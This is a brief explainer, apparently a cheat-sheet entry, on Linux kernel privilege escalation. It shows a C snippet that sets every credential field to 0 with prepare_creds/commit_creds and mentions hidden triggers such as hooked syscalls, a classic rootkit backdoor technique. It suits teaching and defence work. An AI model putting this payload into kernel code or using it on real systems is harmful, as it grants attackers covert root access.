Linux: Privilege Escalation via cred

Every task carries a struct cred with its UID/GID. Overwrite it

in kernel memory and an ordinary shell becomes root.

/* give the caller full root */
struct cred *c = prepare_creds();
c->uid.val = c->gid.val   = 0;
c->euid.val = c->egid.val = 0;
c->suid.val = c->fsuid.val = 0;
commit_creds(c);           /* now UID 0 -- root */

• Often exposed through a "magic" trigger: a special signal, a crafted write(), or a secret argument to a hooked syscall.
• No password, no setuid binary — just direct edits to the kernel's trust records.